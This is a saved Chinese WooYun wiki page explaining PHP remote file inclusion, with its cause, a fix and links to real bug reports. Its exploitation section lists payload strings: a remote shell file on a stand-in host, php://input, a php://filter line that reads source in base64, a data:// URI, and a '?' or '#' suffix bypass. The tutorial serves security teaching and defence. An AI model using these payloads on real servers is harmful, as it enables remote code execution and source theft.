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web:rfi [WooYun WiKi].html
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<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/><meta name="exporter-version" content="Evernote Mac 6.8 (453748)"/><meta name="created" content="2016-10-19 12:48:56 +0000"/><meta name="source" content="web.clip"/><meta name="source-url" content="http://wiki.wooyun.org/web:rfi"/><meta name="updated" content="2016-10-19 12:48:56 +0000"/><title>web:rfi [WooYun WiKi]</title></head><body><div style="-evernote-webclip:true"><br/><div style="font-size: 16px"><div style="box-sizing:border-box;font-family:sans-serif;text-size-adjust:100%;font-size:10px;-webkit-tap-highlight-color:rgba(0, 0, 0, 0);"><div style="box-sizing:border-box;font-family:"Helvetica Neue", Helvetica, Arial, sans-serif;font-size:small;line-height:1.42857;color:rgb(51, 51, 51);background:rgb(253, 253, 253);"><div style="box-sizing:border-box;"><div style="box-sizing:border-box;"><span style="box-sizing:border-box;"><div style="box-sizing:border-box;"><div style="box-sizing:border-box;background-color:rgb(255, 255, 255);border-radius:4px;box-shadow:rgba(0, 0, 0, 0.0470588) 0px 1px 1px;"><div style="box-sizing:border-box;"><span style="display:table;"/>
<div style="box-sizing:border-box;position:fixed;float:right;z-index:1024;top:10px;right:10px;">
<div style="float:right;box-sizing:border-box;background-color:rgb(255, 255, 255);border-radius:4px;box-shadow:rgba(0, 0, 0, 0.0470588) 0px 1px 1px;border-color:rgb(221, 221, 221);border:1px solid transparent;margin:0px 0px 1.4em 1.4em;width:auto;color:inherit;font-size:0.95em;margin-left:20px;">
<h3 style="border-bottom:1px solid transparent;box-sizing:border-box;border-top-left-radius:3px;font-weight:bold;color:rgb(51, 51, 51);border-color:rgb(221, 221, 221);background-color:rgb(245, 245, 245);font-family:inherit;line-height:1.1;border-top-right-radius:3px;padding:5px;font-size:0.95em;margin:0px;cursor:pointer;"><i style="box-sizing:border-box;position:relative;top:1px;display:inline-block;font-family:"Glyphicons Halflings";font-style:normal;font-weight:400;line-height:1;-webkit-font-smoothing:antialiased;padding-right:5px;"><span style="font-family:"Glyphicons Halflings";font-style:normal;font-weight:400;line-height:1;"></span></i> <strong style="line-height:1;font-weight:400;top:1px;display:inline-block;font-family:"Glyphicons Halflings";font-style:normal;position:relative;-webkit-font-smoothing:antialiased;box-sizing:border-box;float:right;margin:0px 0.2em;padding-right:5px;"><span style="font-weight:400;font-family:"Glyphicons Halflings";font-style:normal;line-height:1;"></span></strong></h3>
</div>
</div>
<h1 style="box-sizing:border-box;font-size:36px;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin:40px 0px 20px;padding-bottom:9px;border-bottom:1px solid rgb(238, 238, 238);margin-top:10px;">远程文件包含（Remote File Include）</h1>
<div style="box-sizing:border-box;"
/>
<h3 style="box-sizing:border-box;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin-top:20px;margin-bottom:10px;font-size:24px;">1、漏洞简介</h3>
<div style="box-sizing:border-box;">
<hr style="border-left-style:initial;height:0px;margin-top:20px;margin-bottom:20px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;box-sizing:content-box;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:rgb(238, 238, 238);"/>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
如果允许客户端用户输入控制动态包含在服务器端的文件，会导致恶意代码的执行及敏感信息泄露，主要包括<a href="https://web.archive.org/web/20160417161505/http://wiki.wooyun.org/web:lfi" title="web:lfi" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;">本地文件包含</a>和远程文件包含两种形式。
</p>
</div>
<h3 style="box-sizing:border-box;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin-top:20px;margin-bottom:10px;font-size:24px;">2、漏洞成因</h3>
<div style="box-sizing:border-box;">
<hr style="border-left-style:initial;height:0px;margin-top:20px;margin-bottom:20px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;box-sizing:content-box;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:rgb(238, 238, 238);"/>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
文件包含漏洞的产生原因是在通过引入文件时，由于传入的文件名没有经过合理的校验，或者校检被绕过，从而操作了预想之外的文件，就可能导致意外的文件泄露甚至恶意的代码注入。当被包含的文件在远程服务器上市，就形成的远程文件包含漏洞。
</p>
</div>
<h3 style="box-sizing:border-box;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin-top:20px;margin-bottom:10px;font-size:24px;">3、漏洞的检测及利用</h3>
<div style="box-sizing:border-box;">
<hr style="border-left-style:initial;height:0px;margin-top:20px;margin-bottom:20px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;box-sizing:content-box;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:rgb(238, 238, 238);"/>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
无通用的检测方法，但是大部分扫描器都支持远程文件包含漏洞的检测。
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
以下是常用的引入远程文件的方法
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
常见的协议：
</p>
<pre style="line-height:1.42857;overflow:auto;font-size:13px;box-sizing:border-box;display:block;padding:9.5px;margin:0px 0px 10px;font-family:Menlo, Monaco, Consolas, "Courier New", monospace;color:rgb(51, 51, 51);word-break:break-all;word-wrap:break-word;background-color:rgb(245, 245, 245);border:1px solid rgb(204, 204, 204);border-radius:4px;">[http|https|ftp]://example.com/shell.txt</pre>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
(需要allow<em style="box-sizing:border-box;">url</em>fopen=On并且 allow<em style="box-sizing:border-box;">url</em>include=On)
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
利用php流input：
</p>
<pre style="line-height:1.42857;overflow:auto;font-size:13px;box-sizing:border-box;display:block;padding:9.5px;margin:0px 0px 10px;font-family:Menlo, Monaco, Consolas, "Courier New", monospace;color:rgb(51, 51, 51);word-break:break-all;word-wrap:break-word;background-color:rgb(245, 245, 245);border:1px solid rgb(204, 204, 204);border-radius:4px;">php://input</pre>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
需要allow<em style="box-sizing:border-box;">url</em>include=On,参考<a href="https://web.archive.org/web/20160417161505/http://php.net/manual/zh/wrappers.php.php" title="http://php.net/manual/zh/wrappers.php.php" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">php:// — 访问各个输入/输出流（I/O streams）</a>，<a href="https://web.archive.org/web/20160417161505/http://www.nowamagic.net/academy/detail/12220520" title="http://www.nowamagic.net/academy/detail/12220520" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">深入剖析PHP输入流 php://input</a>
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
利用php流filter：
</p>
<pre style="line-height:1.42857;overflow:auto;font-size:13px;box-sizing:border-box;display:block;padding:9.5px;margin:0px 0px 10px;font-family:Menlo, Monaco, Consolas, "Courier New", monospace;color:rgb(51, 51, 51);word-break:break-all;word-wrap:break-word;background-color:rgb(245, 245, 245);border:1px solid rgb(204, 204, 204);border-radius:4px;">php://filter/convert.base64-encode/resource=index.php</pre>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
需要allow<em style="box-sizing:border-box;">url</em>include=On,参考<a href="https://web.archive.org/web/20160417161505/http://php.net/manual/zh/wrappers.php.php" title="http://php.net/manual/zh/wrappers.php.php" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">php:// — 访问各个输入/输出流（I/O streams）</a>
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
利用data URIs：
</p>
<pre style="line-height:1.42857;overflow:auto;font-size:13px;box-sizing:border-box;display:block;padding:9.5px;margin:0px 0px 10px;font-family:Menlo, Monaco, Consolas, "Courier New", monospace;color:rgb(51, 51, 51);word-break:break-all;word-wrap:break-word;background-color:rgb(245, 245, 245);border:1px solid rgb(204, 204, 204);border-radius:4px;">data://text/plain;base64,SSBsb3ZlIFBIUAo=</pre>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
(需要allow<em style="box-sizing:border-box;">url</em>include=On)
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
当服务器自动给文件增加后缀时可以在url之后增加'?'或者'#'，便可绕过。
</p>
</div>
<h3 style="box-sizing:border-box;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin-top:20px;margin-bottom:10px;font-size:24px;">4、漏洞修复</h3>
<div style="box-sizing:border-box;">
<hr style="border-left-style:initial;height:0px;margin-top:20px;margin-bottom:20px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;box-sizing:content-box;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:rgb(238, 238, 238);"/>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
对引入文件包含的参数进行过滤，或者对所引入的文件的域进行限制，禁止服务器访问可信域以外的文件。
</p>
</div>
<h3 style="box-sizing:border-box;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin-top:20px;margin-bottom:10px;font-size:24px;">5、实际案例</h3>
<div style="box-sizing:border-box;">
<p style="box-sizing:border-box;margin:0px 0px 10px;">
<a href="https://web.archive.org/web/20160417161505/http://www.wooyun.org/bugs/wooyun-2010-059641" title="http://www.wooyun.org/bugs/wooyun-2010-059641" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">春秋航空某分站存在远程文件包含漏洞</a>
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
<a href="https://web.archive.org/web/20160417161505/http://www.wooyun.org/bugs/wooyun-2010-0107969" title="http://www.wooyun.org/bugs/wooyun-2010-0107969" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">爱爱医某站远程文件包含及mysql盲注</a>
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
<a href="https://web.archive.org/web/20160417161505/http://www.wooyun.org/bugs/wooyun-2010-012031" title="http://www.wooyun.org/bugs/wooyun-2010-012031" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">华为某系统文件包含漏洞</a>
</p>
</div>
<h3 style="box-sizing:border-box;font-family:inherit;font-weight:500;line-height:1.1;color:inherit;margin-top:20px;margin-bottom:10px;font-size:24px;">6、相关资源</h3>
<div style="box-sizing:border-box;">
<hr style="border-left-style:initial;height:0px;margin-top:20px;margin-bottom:20px;border-width:1px 0px 0px;border-right-style:initial;border-bottom-style:initial;box-sizing:content-box;border-right-color:initial;border-bottom-color:initial;border-left-color:initial;border-image:initial;border-top-style:solid;border-top-color:rgb(238, 238, 238);"/>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
<a href="https://web.archive.org/web/20160417161505/http://drops.wooyun.org/tips/3827" title="http://drops.wooyun.org/tips/3827" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">PHP文件包含漏洞总结</a>
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
<a href="https://web.archive.org/web/20160417161505/http://php.net/manual/zh/wrappers.php.php" title="http://php.net/manual/zh/wrappers.php.php" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">php:// — 访问各个输入/输出流（I/O streams）</a>
</p>
<p style="box-sizing:border-box;margin:0px 0px 10px;">
<a href="https://web.archive.org/web/20160417161505/http://www.nowamagic.net/academy/detail/12220520" title="http://www.nowamagic.net/academy/detail/12220520" rel="nofollow" style="box-sizing:border-box;background-color:transparent;color:rgb(51, 122, 183);text-decoration:none;background-repeat:no-repeat;background-position:0px center;padding:0px 0px 0px 18px;background-image:url(&quot;/web/20160409021439/http://wiki.wooyun.org/lib/images/external-link.png&quot;);">深入剖析PHP输入流 php://input</a>
</p>
</div>
<span style="display:table;clear:both;"/></div></div></div></span></div></div></div></div></div><br/></div></body></html>